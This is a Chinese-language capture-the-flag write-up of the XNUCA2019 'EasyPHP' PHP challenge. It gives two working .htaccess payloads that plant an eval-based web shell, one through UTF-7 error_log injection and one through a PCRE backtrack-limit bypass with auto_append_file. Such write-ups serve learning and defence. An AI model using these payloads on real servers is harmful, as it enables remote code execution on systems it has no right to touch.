zoukankan      html  css  js  c++  java
  • [XNUCA2019Qualifier]EasyPHP

    ps:有三个解,这里写了两种,学到了很多。

    [XNUCA2019Qualifier]EasyPHP

     <?php
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        include_once("fl3g.php");
        if(!isset($_GET['content']) || !isset($_GET['filename'])) {
            highlight_file(__FILE__);
            die();
        }
        $content = $_GET['content'];
        if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
            echo "Hacker";
            die();
        }
        $filename = $_GET['filename'];
        if(preg_match("/[^a-z.]/", $filename) == 1) {
            echo "Hacker";
            die();
        }
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        file_put_contents($filename, $content . "
    Just one chance");
    ?> 
    

    分析这一段php代码:

    在这一段php中,他讲所有的除index.php以外的文件全部删除断开。

    同时包含fl3g,flag就在里面。

    对于传入的content,进行了检查,存在防火墙。

    同时文件名只能为英文字母和数字符号.

    最后存在一个输出的函数,fileputcontent,将我们的文件都进行了输出。

    在这里我们是能够上传.htaccess文件,但是在htaccess文件写入的时候,写入了一些混加的字符来打乱了我们的配置,可以利用注释符,以及转义,来进行绕过即#,拼接完成过后就变成了#\nJust one chance 不存在换行了。

    这样我们的.htaccess文件就生效了。

    那么接下来在htaccess文件当中,在指定目录写指定文件名。

    这个时候就利用htaccess文件对php.ini进行配置:

    php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
    php_value error_reporting 32767
    php_value error_log /tmp/fl3g.php
    # 
    

    通过error_log将php运行报错的记录写到指定文件中。
    这里写到/tmp/fl3g.php文件下
    php_value error_reporting 32767中32767是所有常量加起来的值。

    关于触发报错:将include_path的内容设置成payload的内容,此时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错。

    此时我们访问index.php就会触发error,将shell写入/tmp/fl3g.php中。

    接着写下新的配置:

    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    #   
    

    将编码设置转为UTF-7,这样shell就能够被顺利的解析出来了。

    同时利用include_path将我们刚刚生成的文件给包含出来,这样的话,shell就能够被解析了。

    include_path的作用就是设置用include()函数包函文件时的路径,此时包含的就是/tmp/fl3g

    接下来,就可以执行命令了。

    解法二

    php_value pcre.backtrack_limit    0
    php_value auto_append_file    ".htaccess"
    php_value pcre.jit   0
    #aa<?php eval($_GET['a']);?>  
    

    因为判断条件为:if(preg_match("/[^a-z.]/", $filename) == 1)

    因此通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false,这个p神是有说过的,正则表达式的两种机制。

    auto_append_file =
    ; 指定在主文件之后自动解析的文件名。
    ; 该文件就像调用了include()函数一样被包含进来,因此会使用"include_path"
    ; 注: 如果脚本通过 exit() 终止,则自动后缀不会发生。
    

    一旦正则表达式被绕过,那么前面的if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file'))就能使用php://filiter进行绕过了。

  • 相关阅读:
    动态代理,反射的用途及实现
    谈一谈web.xml中的context-param和init-param
    后端程序员需要了解的前端知识(持续更新中)
    angularJS要点记录,$location,$http等等
    HTTP1.0和HTTP2.0的区别,以及HTTP和HTTPS的区别
    浅谈Fork/Join框架
    ConcurrentHashMap 的工作原理及源码分析,如何统计所有的元素个数
    HTTP协议常见的状态码
    图解HTTP,状态码,TCP、UDP等网络协议相关总结(持续更新)
    jmeter(五)JDBC Request
  • 原文地址:https://www.cnblogs.com/ophxc/p/13192775.html
Copyright © 2011-2022 走看看